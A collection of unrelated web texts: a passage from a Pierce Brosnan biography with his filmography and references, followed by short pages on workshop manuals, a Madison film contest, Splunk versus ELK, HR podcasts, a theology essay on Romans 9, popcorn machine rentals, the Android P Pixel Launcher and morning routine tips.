In 1994, Brosnan met American journalist Keely Shaye Smith in Mexico. They were married in 2001 at Ballintubber Abbey in County Mayo, Ireland.[1] They have two sons together, Dylan and Paris.[101]
In July 2003, Queen Elizabeth II made Brosnan an honorary Officer of the Order of the British Empire for his "outstanding contribution to the British film industry".[102] As an Irish citizen, he is ineligible to receive the full OBE honour, which is awarded only to a citizen of the Commonwealth realms, but he is still allowed the letters "OBE" after his name. In 2002, Brosnan was also awarded an honorary degree from the Dublin Institute of Technology[103] and, a year later, the University College Cork.[104]
On 23 September 2004, Brosnan became a citizen of the United States but retained his Irish citizenship. Brosnan said that "my Irishness is in everything I do. It's the spirit of who I am, as a man, an actor, a father. It's where I come from."[38] Brosnan was asked by a fan if it annoyed him when people get his nationality confused. He said: "It amuses me in some respects that they should confuse me with an Englishman when I'm dyed-in-the-wool, born and bred Irishman ... I don't necessarily fly under any flag. But no, it doesn't bother me."[105]
Brosnan has expressed contempt for his education by the Congregation of Christian Brothers.[5] However, in 2013 he commented, "It always helps to have a bit of prayer in your back pocket. At the end of the day, you have to have something and for me that is God, Jesus, my Catholic upbringing, my faith... God has been good to me. My faith has been good to me in the moments of deepest suffering, doubt and fear. It is a constant, the language of prayer... I might not have got my sums right from the Christian Brothers or might not have got the greatest learning of literature from them but I certainly got a strapping amount of faith."[106] Brosnan attends Mass, but adheres to other spiritual beliefs. In 2008 he said "I also love the teachings of Buddhist philosophy. It's my own private faith. I don't preach it, but it's a faith that is a comfort to me when the night is long."[8]
Brosnan's daughter Charlotte died on 28 June 2013 of ovarian cancer, the same illness that claimed her mother's life.[107]
On February 11, 2015, Brosnan's $18 million Malibu mansion caught fire, sustaining $1 million in damages. During the 30 minutes it took firefighters to extinguish the fire, flames destroyed the contents of the garage, including Brosnan's 2002 Aston Martin V12 Vanquish, and spread to a bedroom above it, though no injuries were sustained.[108][109]
Year Title Role Notes
1979 Murphy's Stroke Edward O'Grady Television film
1980 The Long Good Friday 1st Irishman
The Mirror Crack'd Actor playing "Jamie" Uncredited role
1986 Nomads Jean Charles Pommier
1987 Taffin Mark Taffin
The Fourth Protocol Valeri Petrofsky/James Edward Ross
1988 The Deceivers William Savage
1989 The Heist Neil Skinner Television film
1990 Mister Johnson Harry Rudbeck
1991 Murder 101 Charles Lattimore Television film
Victim of Love Paul Tomlinson Also known as Raw Heat
Television film
1992 The Lawnmower Man Dr. Lawrence Angelo
Live Wire Danny O'Neill
1993 Mrs. Doubtfire Stuart "Stu" Dunmire
Death Train Michael "Mike" Graham Television film
Entangled Garavan
The Broken Chain Sir William Johnson Television film
1994 Love Affair Ken Allen
Don't Talk to Strangers Douglas Patrick Brody Television film
1995 Night Watch Michael 'Mike' Graham
GoldenEye James Bond Nominated—Saturn Award for Best Actor
Nominated—MTV Movie Award for Best Fight (Shared with Famke Janssen)
1996 Mars Attacks! Professor Donald Kessler
The Mirror Has Two Faces Alex
1997 Robinson Crusoe Robinson Crusoe
Dante's Peak Harry Dalton
Tomorrow Never Dies James Bond Saturn Award for Best Actor
Nominated—European Film Award for Outstanding European Achievement in World Cinema
1998 Quest for Camelot King Arthur Voice
The Nephew Joe Brady Also producer
1999 Grey Owl Archibald "Grey Owl" Belaney
The Match John MacGhee Also producer
The Thomas Crown Affair Thomas Crown
The World Is Not Enough James Bond Empire Award for Best Actor
Nominated—Golden Raspberry Award for Worst Screen Combo (Shared with Denise Richards)
2001 The Tailor of Panama Andrew Osnard
2002 Die Another Day James Bond Nominated—Saturn Award for Best Actor
Evelyn Desmond Doyle Also producer
2004 After the Sunset Max Burdett
Laws of Attraction Daniel Rafferty Also executive producer
2005 The Matador Julian Noble Also producer Nominated—Saturn Award for Best Actor
Nominated—Golden Globe Award for Best Actor – Motion Picture Musical or Comedy
Nominated—Irish Film & Television Award for Best Actor in a Lead Role – Film
Nominated—St. Louis Gateway Film Critics Association Award for Best Actor
2006 Seraphim Falls Gideon
2007 Butterfly on a Wheel Tom Ryan Also known as Shattered (United States) and Desperate Hours (Europe)
Also producer
Married Life Richard Langley
2008 Mamma Mia! Sam Carmichael National Movie Award for Best Performance – Male
Thomas & Friends The Great Discovery US & UK "Guest Narrator" Guest role
2009 The Greatest Allen Brewer Also executive producer
2010 The Ghost Writer Adam Lang Irish Film & Television Award for Best Supporting Actor
Nominated—London Film Critics Circle Award for British Supporting Actor of the Year
Nominated—Satellite Award for Best Supporting Actor – Motion Picture
Percy Jackson & the Olympians: The Lightning Thief Chiron
Remember Me Charles Hawkins
Oceans Narrator English-language narrator
2011 Salvation Boulevard Dan Day
I Don't Know How She Does It Jack Abelhammer
2013 Love Is All You Need Phillip Original Danish title: Den Skaldede Frisør
The World's End Guy Shephard
2014 The Love Punch Richard Jones
A Long Way Down Martin Sharp
The November Man Peter Devereaux Also executive producer
2015 Some Kind of Beautiful Richard Haig Also producer
Survivor The Watchmaker[110]
No Escape Hammond
A Christmas Star Mr. Shepherd
2016 Urge Daemon Sloane/The Man
I.T. Mike Regan Also executive producer
2017 The Only Living Boy in New York Ethan Webb
The Foreigner Liam Hennessy
2018 Spinning Man Det. Robert Malloy
Mamma Mia! Here We Go Again Sam Carmichael
Final Score Dimitri Belov
TBA The King's Daughter King Louis XIV Completed; awaiting release
The Medusa Caruel Pre-production
Across the River and Into the Trees Col. Richard Cantwell
Year Title Role Notes
1980 Hammer House of Horror Last Victim Episode: "Carpathian Eagle"
1980 The Professionals Surveillance operator Episode: "Blood Sports"
1981 Manions of America Rory O'Manion Main Role – 3 episodes
1982 Play for Today Dennis Episode: "The Silly Season"
1982–1987 Remington Steele Alias "Remington Steele"[111] Main Role – 94 episodes
1988 Noble House Ian Dunross Main Role – 4 episodes
1989 Around the World in 80 Days Phileas Fogg Main Role – 6 episodes
2001 The Simpsons Ultra House 300 as Pierce Brosnan Voice
Episode: "Treehouse of Horror XII"
2011 Bag of Bones Mike Noonan Main Role – 2 episodes
2017–present The Son Eli McCullough Main Role – 10 episodes
Video games[edit]
Year Title Role Notes
1997 GoldenEye 007 James Bond Video game (Physical likeness and archive footage)
1999 Tomorrow Never Dies
2000 The World Is Not Enough (Nintendo 64)
The World Is Not Enough (PlayStation)
007 Racing
2002 James Bond 007: Nightfire Video game (Physical likeness only)
2004 James Bond 007: Everything or Nothing Video game (Physical likeness and voice)
See also[edit]
1. ^ a b c d e f g h i j k l Brosnan's personal site Archived 2 November 2013 at the Wayback Machine.
2. ^ "Pierce Brosnan Receives American Citizenship on September 23, 2004". Getty Images. Retrieved 2018-02-20.
3. ^ Barnes, Mike (2016-01-11). "Beau St. Clair, Pierce Brosnan's Producing Partner, Dies at 63". The Hollywood Reporter. Retrieved 2016-02-04.
4. ^ "Pierce Brosnan honoured by Navan Town". RTÉ News. 11 November 1999.
5. ^ a b c d e f g h i j Chutkow, Paul (December 1997). "Brosnan. Pierce Brosnan". Cigaraficionado.com. Archived from the original on 29 August 2008. Retrieved 23 October 2008.
6. ^ Farndale, Nigel (29 January 2008). "Pierce Brosnan: James who?". The Daily Telegraph. Retrieved 11 September 2010.
7. ^ Louie, Rebbeca (25 December 2005). "Eyes that Pierce. After Bond, Brosnan looks to future with a killer role". Daily News. Retrieved 13 September 2010.[dead link]
8. ^ a b c Grant, Meg (July 2008). "Pierce Brosnan Interview: Not the James Bond You Remember". Reader's Digest. Archived from the original on 10 September 2010. Retrieved 19 September 2010.
9. ^ a b "Pierce Brosnan". Inside the Actors Studio. Season 9. Episode 903. 24 November 2002. Bravo. Archived from the original on 9 August 2007.
10. ^ Byron Allen (host) (1993). "Pierce Brosnan: Part 2". Entertainers with Byron Allen.
11. ^ "Brosnan is a true Father Figure". ShowBiz Ireland. 1 November 2002. Retrieved 22 February 2007.
12. ^ Nathan, Ian (October 1997). "The Empire 100 Interview". Empire (100): 116.
13. ^ a b Butler, Karen (February 2007). "Fierce Brosnan". Irish Echo Online. Archived from the original on 5 February 2007. Retrieved 22 February 2007.
14. ^ Jonathan Jones (30 September 2011). Saint Martins emerges blinking in bright new home. But is it art?: King's Cross premises a far cry from Soho 'hell', but some students fear college will have lost its charm Archived 4 March 2016 at the Wayback Machine.. The Guardian. Accessed August 2013.
15. ^ "Alumni". St Martins College. Archived from the original on 29 June 2011. Retrieved 1 July 2011.
16. ^ Pierce Brosnan: questions from the floor Archived 9 June 2013 at the Wayback Machine.: guardian.co.uk Guardian News and Media – 18 March 2003
17. ^ "Drama Centre London: Former". Central Saint Martins College of Art and Design. Archived from the original on 4 February 2007. Retrieved 22 February 2007.
18. ^ Carrick, Peter (2002). Pierce Brosnan. Citadel Press, p18–36. ISBN 0-8065-2396-4.
19. ^ Membery, York (2002). Pierce Brosnan: The Biography. Virgin Books. ISBN 1-85227-967-2.
20. ^ Obit of Helen Montagu. 8 January 2004. The Independent[permanent dead link]. Retrieved 27 August 2010
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25. ^ Belson, Eve (July 1993). "Pierce Brosnan: Urbane Leading Man". Orange Coast.
26. ^ a b Broeske, Pat H. (1988-02-21). "'Noble House' Hype: NBC's Heavy Artillery". Los Angeles Times.
27. ^ Broccoli, Albert R; Zec, Donald (1998). When the Snow Melts: The Autobiography of Cubby Broccoli. London: Boxtree. pp. 280–281. ISBN 978-0-7522-1162-6.
28. ^ Chapman, James (2000). Licence to Thrill: A Cultural History of the James Bond Films. New York City: Columbia University Press. p. 247. ISBN 978-0-231-12048-7.
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33. ^ "GoldenEye". metacritic.com. Retrieved 24 November 2006.
34. ^ Roger Ebert (17 November 1995). "GoldenEye". Chicago Sun-Times. Retrieved 16 November 2006.
35. ^ James Berardinelli (1995). "GoldenEye". reelviews.net. Retrieved 16 November 2006.
36. ^ McNary, Dave (2016-01-11). "Beau St. Clair, Pierce Brosnan's Producing Partner, Dies". Variety. Retrieved 2016-02-06.
37. ^ "Bio Basics". The official Pierce Brosnan site. PBFC. Archived from the original on 4 April 2008. Retrieved 15 April 2008.
38. ^ a b Nathon, Ian (December 2002). "Numero Uno (Die Another Day cover story)". Empire (162): 103.
39. ^ "Brosnan uncertain over more Bond". BBC NEWS. 2 April 2004. Retrieved 1 May 2011.
40. ^ "Brosnan: No More 007". scifi.com. 14 October 2004. Archived from the original on 4 November 2004. Retrieved 22 February 2007.
41. ^ Brosnan, Pierce (February 2005). "The Official Pierce Brosnan site". Archived from the original on 1 September 2006. Retrieved 13 September 2006.
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43. ^ "Pierce Brosnan answers". Globe and Mail. Canada. 14 September 2006. Archived from the original on 9 July 2008. Retrieved 14 September 2006.
44. ^ John Anderson (22 January 2007). "A grittier Brosnan takes on riskier roles". International Herald Tribune.
45. ^ "Everything or Nothing". EA Games. Archived from the original on 27 December 2007. Retrieved 22 February 2007.
46. ^ Thorpe, Vanessa (26 November 2006). "Race to put the passion of Dylan's Caitlin on big screen". The Observer. London. Retrieved 22 February 2007.
47. ^ Murphy, Garreth (10 May 2004). "Laws of Attraction". entertainment.ie. Archived from the original on 27 September 2007. Retrieved 22 February 2007.
48. ^ "After the Sunset". Rotten Tomatoes. Retrieved 22 February 2007.
49. ^ "The Matador". Rotten Tomatoes. Retrieved 22 February 2007.
50. ^ Ebert, Roger (6 January 2006). "The Matador (2005)". Chicago Sun-Times. Retrieved 22 February 2007.
51. ^ "'Brokeback Mountain' leads Golden Globe nominations". CNN. 15 December 2005. Retrieved 22 February 2007.
52. ^ "The 2006 FIFA World Cup Film: The Grand Finale (2006)" Archived 10 May 2013 at the Wayback Machine.. The New York Times. Retrieved 28 January 2013
53. ^ Crust, Kevin (26 January 2007). "Seraphim Falls". Los Angeles Times. Archived from the original on 5 February 2007. Retrieved 19 February 2007.
54. ^ Rechtshaffen, Michael (18 September 2006). "Seraphim Falls". The Hollywood Reporter. Archived from the original on 19 January 2007. Retrieved 19 February 2007.
55. ^ "Pierce Brosnan Plans All-Irish Western". StarPulse News. 17 March 2007. Archived from the original on 20 March 2007. Retrieved 19 March 2007.
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68. ^ Guider, Elizabeth (13 December 2005). "Duo plant a Wildflower". Variety. Retrieved 19 February 2007.
69. ^ Chitwood, Adam (15 May 2012). "Pierce Brosnan and Dominic Cooper to Star in Spy Thriller NOVEMBER MAN". Collider. Retrieved 17 January 2017.
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71. ^ "The November Man Reviews". Metacritic. Retrieved 17 January 2017.
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73. ^ "Millennium Sets Milla Jovovich, Emma Thompson, Pierce Brosnan, Angela Bassett For 'Survivor' Thriller Pic". Deadline. 7 October 2013. Retrieved 9 October 2013.
74. ^ "Pierce Brosnan Stars In Voltage Thriller "I.T."". Deadline. 3 October 2013. Retrieved 4 October 2013.
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76. ^ "Pierce Brosnan To Star In AMC Series 'The Son' In TV Return, Replaces Sam Neill". Deadline Hollywood. 6 June 2016. Retrieved 8 June 2016.
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78. ^ "Simon Kaijser's Thriller 'Spinning Man'". Deadline Hollywood. 25 April 2017. Retrieved 1 May 2017.
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83. ^ "Director Jim Sheridan's Next: 'H-Block' Coming Together With Cillian Murphy, Jamie Dornan, Pierce Brosnan". Deadline Hollywood. 1 May 2017.
84. ^ "Jim Sheridan's Prison Break Movie 'H Block' Being Postponed". Deadline Hollywood. 7 August 2017. Retrieved 23 November 2017.
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86. ^ "Former SEGA CEO Bernie Stolar teams up with 3D Realms on new project". 7 July 2017. Retrieved 23 November 2017.
87. ^ "Children and AIDS". UNICEF Archived 19 August 2010 at the Wayback Machine.. Retrieved 25 October 2008
88. ^ "Metro.co.uk". Retrieved 19 February 2007.
89. ^ Lang, Kirsty (3 December 1995). "Bond drops a bomb". The Sunday Times.
90. ^ Silverman, Stephen M. (11 April 2007). "Halle Berry, Others Protest Natural Gas Facility". People. Time Inc. Retrieved 17 April 2007.
91. ^ Cabrillo Port Dies a Santa Barbara Flavored Death End-Zone Dance Archived 29 July 2016 at the Wayback Machine., Independent, 24 May 2007
92. ^ "Sea Shepherd Advisors – Pierce Brosnan". Archived from the original on 3 March 2016.
93. ^ "Sustainable Style Foundation". Archived from the original on 3 September 2010. Retrieved 27 August 2010.
94. ^ "The Official Website of Pierce Brosnan".
95. ^ "Pierce Brosnan to promote Lee breast cancer fund raiser". The Business Journal. American City Business Journals. 10 July 2006. Retrieved 22 February 2007.
96. ^ Washington Post article "Brosnan, Wife Help School Kids in Hawaii" 31 May 2007. Retrieved 27 August 2010
97. ^ "London Live Earth line-up revealed". NME News. 5 July 2007. Retrieved 8 January 2008.
98. ^ Pierce Brosnan grandchildren Archived 28 March 2016 at the Wayback Machine.
99. ^ Lipworth, Elaine (17 February 2006). "Pierce Brosnan: A new licence to thrill". The Independent. London. Retrieved 19 February 2007.
100. ^ "Cassandra Harris, Actress, 39". The New York Times. 31 December 1991. Retrieved 19 February 2007.
101. ^ "Pierce Brosnan’s Son, Dylan, Is A Model" Archived 4 March 2016 at the Wayback Machine. foodworldnews.com
102. ^ "Bond star Brosnan made honorary OBE". BBC NEWS. 14 July 2003.
103. ^ "Pierce Brosnan and Eddie Jordan awarded Honorary Doctorates from Dublin Institute of Technology". Dublin Institute of Technology. 23 June 2003. Archived from the original on 1 February 2014.
104. ^ "Honorary Conferring Ceremony– 4 June 2004" (Press release). University College Cork. 28 May 2004.
105. ^ Nathan, Ian. "Public Access: Pierce Brosnan". Empire (135): 10.
106. ^ "Pierce Brosnan talks about his deep Catholic faith" Archived 13 October 2013 at the Wayback Machine. Irish Central. 31 March 2011,
107. ^ "Pierce Brosnan's Daughter Dies of Ovarian Cancer". Archived 15 September 2016 at the Wayback Machine.
108. ^ Rocha, Veronica; Parker, Ryan (February 12, 2015). "Fire at Pierce Brosnan's Malibu home causes $1 million in damage". Los Angeles Times.
109. ^ Doell, Zach (August 28, 2015). "Pierce Brosnan Reveals He Lost his Aston Martin in a House Fire". Yahoo! News.
110. ^ "Trailer and Poster for Survivor, Starring Pierce Brosnan and Milla Jovovich". ComingSoon. 2 April 2015. Retrieved 2 April 2015.
111. ^ The "title character" of Remington Steele actually did not exist, and the man who assumed the identity never learned his own real name.
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Our company have been dealing repair and workshop manuals to Australia for the past seven years. This web-site is committed to the sale of workshop manuals to just Australia. We keep our manuals handy, so just as soon as you order them we can get them mailed to you quick. Our transport to your Australian address mainly takes one to 2 days. Workshop and repair manuals are a series of handy manuals that mainly focuses on the routine service maintenance and repair of motor vehicles, covering a wide range of models and makes. Workshop manuals are targeted chiefly at Do-it-yourself enthusiasts, rather than professional garage mechanics.The manuals cover areas such as: water pump,seat belts,signal relays,knock sensor,crank case,clutch plate,exhaust manifold,alternator replacement,batteries,Carburetor,window winder,change fluids,tie rod,crankshaft position sensor,gasket,exhaust gasket,turbocharger,replace bulbs,fix tyres,engine control unit,brake shoe,fuel filters,crank pulley,clutch cable,oil seal,replace tyres,engine block,ABS sensors,brake pads,trailing arm,radiator hoses,conrod,diesel engine,brake drum,spark plugs,starter motor,anti freeze,wheel bearing replacement,shock absorbers,stabiliser link,radiator fan,spring,brake piston,pitman arm,window replacement,clutch pressure plate,bell housing,exhaust pipes,gearbox oil,drive belts,supercharger,fuel gauge sensor,CV boots,adjust tappets,distributor,brake rotors,coolant temperature sensor,rocker cover,glow plugs,injector pump,throttle position sensor,cylinder head,bleed brakes,piston ring,o-ring,warning light,radiator flush,stub axle,suspension repairs,brake servo,pcv valve,alternator belt,thermostats,wiring harness,ball joint, oil pan,master cylinder,grease joints,ignition system,overhead cam timing,oxygen sensor,stripped screws,headlight bulbs,slave cylinder,blown fuses,caliper,camshaft timing,CV joints,petrol engine,spark plug leads,head gasket,oil pump,camshaft sensor,valve grind,sump plug,steering arm
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Kryptronic Internet Software Solutions
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global_01_local_1_shard_00001926_processed.jsonl/50147
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Madison, Wisconsin July 16 - 18, 2010
Announcing the Winners
Kudos to [winfilm:team-label] for winning Best Film of 2010. Their film [winfilm:label] will go on to represent Madison against all the other city winners around the world at Filmapalooza 2011.
Required Elements
• Character: Patrick or Patricia Raynal, Courier
• Prop: a tie
• Line: "I can't hear you."
2010 Film List
Important Message: Copycat DisclaimerPrivacy Policy
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global_01_local_1_shard_00001926_processed.jsonl/50183
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Operational Intelligence: Splunk vs ELK
By Pieter Erzeel on 21 May 2015
Do you know what your application is doing? Is it happily crunching along or is it slowly getting consumed in a blazing ball of fire? In the age of services, not every application has a UI to show you the screen of death. How is your application being used? Are you missing opportunities or is traffic so slow that it's best to shut it down before you get your cloud bill?
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global_01_local_1_shard_00001926_processed.jsonl/50190
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Organization Culture
Primary tabs
65: How to Manage to the One to Increase Employee Engagement
Chester Elton, named “Apostle of appreciation” by the Globe and Mail, shares ideas for increasing engagement by making simple adjustments to employees’ current roles. He explains how to ‘manage to the one’ and why this is key to increasing engagement. Learn how to get the take The Motivator Assessment (free) and receive your results in a 23-page report.
Ep 56: Build a Culture of Trust to Support High Performing Teams
Darrin Murriner discusses the factors that cause a lack of trust and fear to thrive in organizations, how these impact corporate culture, and what one organization is doing to address it. Darrin explains how teams are typically assembled and what research tells us about the importance of diverse cognitive styles and other characteristics of successful high-performing teams.
Ep 55: Why & How to Improve Civility in the Workplace
Dr. Steve Ambrose discusses why he and his wife founded the “Walk the Ridge” movement and explains its goals and values. He defines incivility, how it manifests itself, and its impact on workplace productivity and engagement. He’ll explain how emotional intelligence intersects with civility, how to frame and improve civility as a soft skill and the role that HR leaders can play in such. We encourage you and your organization to get involved today.
52: Creative Practices that Lead to Everyday Brilliance
In this episode, Todd Henry, the founder of Accidental Creative, explains how organizations can create an environment in which creativity can flourish. He describes the two critical factors that live in tension with each other; who creatives are and what they want and need to be successful; and how leaders can support “fast-twitch” and ‘slow-twitch’ thinkers. Finally, he addresses the role that HR can play and the influence that its leaders can have in shaping the creative culture.
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global_01_local_1_shard_00001926_processed.jsonl/50197
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God Doesn't Damn Anyone to Hell
God is love. It's such warm and fuzzy, comforting thought. Even Christianity with its emphasis on forgiveness and loving our neighbors is undeniably beautiful. Until God goes and damns people to hell.
Christians try not to think about it, but the verses are there. We use our theology to anesthetize our fear by reducing our sovereign God to a passive figurehead who merely allows the things we don't understand. Yet Scripture says what it says, and it says that God predestined some people to destruction.
The passage in question is Romans 9. I don't blame you if you missed it in your daily devotions or weekly Bible studies. The preceding chapter and its whole "nothing can separate us from the love of Christ" schtick can be very distracting, especially to pastors and teachers who would rather cultivate ignorance than risk apostasy. Someone has to pay for their salaries.
By chapter 9, Paul had just finished encouraging the Christians in Rome that there was no condemnation for those in Christ. We have God's Spirit within us who intercedes for us and the promise that he works all things for the good of those who love him. Again, so much good stuff that it's tempting to ignore the other half of the letter and park yourself here indefinitely.
But Paul continues by addressing our Jewish forebears in the faith who many assumed were now replaced in God's eyes by the church. He wrote about the rejection of Esau in favor of Jacob and how some people are vessels of mercy and others are vessels of wrath. He even ponders how God can find fault in us when we're incapable of resisting his will. His answer leaves us all wanting: who are we to question God?
The implication to many is first, God rejected his own people because they rejected his son and second, no one is safe from God's jealous caprice. Despite his promises that nothing can separate us from his love, God is mercurial and we are helpless against the fate he chooses for us. Some will go to heaven and some will go to hell, no matter what they do.
The term for this theological cousin of fatalism is double predestination (or supralapsarianism). While many ascribe to predestination, or the belief that God predestines his children to heaven, few accept that he doubly predestines the rest of humanity to hell.
For good reason.
Chapters 9-11 are actually a lengthy treatise on the nature of God's promises. Evidently, before getting into the practical, day-to-day aspects of being living sacrifices, Paul thought it necessary to explain why we should bother if God was going to do whatever he wanted with us anyway. Good call on his part.
Like the prophets before him, Paul rebukes his Jewish kinsmen for their lack of faith but he says this was part of God's plan to include the Gentiles. They didn't replace the Jews; they were grafted into the faith of the Jews. Yes, there was a hardening for a time, but it was only temporary. The point is God's promises are irrevocable.
The other point is that God's condemnation is also temporary. Paul closes chapter 11 by stating that God bound everyone over to disobedience that he might have mercy on them all. In another letter, he clarifies that all of us were at one time children of wrath. Or simply, vessels of wrath describes the past state of believers, not the present state of hopeless souls.
There is no condemned group of people who are barred from heaven because that was everyone before Christ. Rather, his sacrifice made us vessels of mercy who are no more privileged than anyone else. It's a temporal distinction, not a categorical one. Because that's how God sees us: not as believers or unbelievers but as future children.
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Weekend Special | Take 10% Off. Get the code »
Brent Filson
Filson first learned about leadership and communication as a Marine Corps infantry officer. He has published 14 books on a variety of subjects, from physics to phobias, and more than a hundred magazine articles. He is president of Brent Filson Communications.
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global_01_local_1_shard_00001926_processed.jsonl/50206
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Request Free Price Quotes
Free price quote request form
Request Quotes form for popcorn machine rentals (change product category?)
APPROXIMATE PRICES: popcorn machine rentals: 50-75/day + 50 for each 100 guests in supplies (no operator included) check with local health laws about serving food as you may need a catering license.
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Other than the foodservice rental equipment you requested, is there any other equipment for carnival foods that you might want to see if we have? (list here) (required)
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Android P's first developer preview is here, and while there's a lot that remains unknown, it's still exciting times in the world of Android. The overall look of Android P seems to be mostly the same compared to Oreo, but one area that has seen a visual update is the Pixel Launcher.
In Android P, the Pixel Launcher now has an outline around the Google search bar and your dock that moves up as you swipe open your app drawer. It's a small change that doesn't add any new functionality, but it is a sleek look.
Current version (left) and Android P version (right)
Along with this, you'll also find a new microphone icon on the search bar. Tapping the icon brings up the Google Assistant, and while I still find squeezing my Pixel 2 to be faster, it's a nice touch nonetheless.
If you want to get the updated Pixel Launcher on your phone now, all you have to do is download and install this file. I got it to work just fine on my Pixel 2 running Android 8.1, and Droid-Life reports similar success with the Essential Phone on its 8.1 beta.
Current version (left) and Android P version (right)
The launcher is just as fast as the current version with Oreo, but I noticed that the "Wallpapers", "Widgets", and "Home Settings" icons are visible behind the app drawer when it's open for whatever reason.
If that doesn't bother you, have fun with your updated home screen!
Android P: Top 6 things you need to know!
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global_01_local_1_shard_00001926_processed.jsonl/50232
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The Lazy Girl's Guide to Sleeping In: Tricks To Save Time in the Morning
Brittney Morgan
Oct 9, 2016
(Image credit: llaszlo/Shutterstock)
Sleeping in is the best feeling in the world... until you realize you're running late to work for the third time this week because of it. But just because you hit snooze a few times in the morning, it doesn't mean you can't still look and feel like you've got it together. A few changes to your routine—like when you shower, or how you plan your meals and outfits—can actually make a huge impact in how you take on the day. Getting up early is overrated, anyway.
Shower at Night
Unless you need that morning shower to wake you up and get you feeling ready to take on the day, there's no need to shower in the A.M. Rather, take your shower at night before you go to bed—it'll help you wind down, and give you back a little precious sleep time the next morning.
Plan Your Wardrobe Weekly
Laziness doesn't actually go hand in hand with doing things in advance, but trust me on this—the payoff is worth it. Monday (and Tuesday, and Wednesday...) morning may have you feeling lethargic, but on the weekends you're likely to have more energy. Take advantage of that, and pick out enough outfits to last you through the week. Arrange the outfits separately in your closet for easy dressing. Oh, and make sure you check the weather—even if the forecast is subject to change, if there's a chance it might rain in the week, at least you'll have something prepared.
Put in Dry Shampoo Before Bed
If, like me, you don't wash your hair everyday, you probably already know that dry shampoo is your BFF. Of course, not everyone can do this—it depends on your hair type—but if you're a dry shampooer, you probably put it on in the morning and then spend a few minutes massaging and brushing it in before you have to go out, right? A handy trick is to put on your dry shampoo the night before you go to bed, which will give it plenty of time to soak up any greasiness, and all that tossing and turning in your sleep will help massage some of it into your hair, so you have less work to do in the morning.
Sleep in Your Workout Clothes
If you're trying to get up to work out in the morning, you can save yourself time—and motivate yourself more—by sleeping in your workout clothes. That way, when you get up, you don't even have to spend time getting dressed. Just, you know, make sure they're comfortable enough to sleep in. But in my experience, yoga pants and basketball shorts are perfect for both exercising and napping, so, you should be fine.
Use Multipurpose Makeup
Sleeping in doesn't mean your makeup routine has to be sacrificed in its entirety. Rather than using several different products, try switching to multipurpose products, like tints that can be used on your lips, cheeks and eyes, and a foundation or BB cream that contains SPF and moisturizer. By using fewer products to achieve the same results, you can save yourself time and money.
Love Your Leftovers
Don't have time to make breakfast in the morning? If you'd rather stay curled up in bed than make scrambled eggs or oatmeal, just set aside leftovers (whether you cook or order in) and heat them up for breakfast. Or, if breakfast isn't your thing, you can cook or order a little extra food and take it with you for lunch the next day, rather than trying to make or pack a lunch to bring to the office.
Any night owls out there? What tricks do you use to make your short mornings go smoothly?
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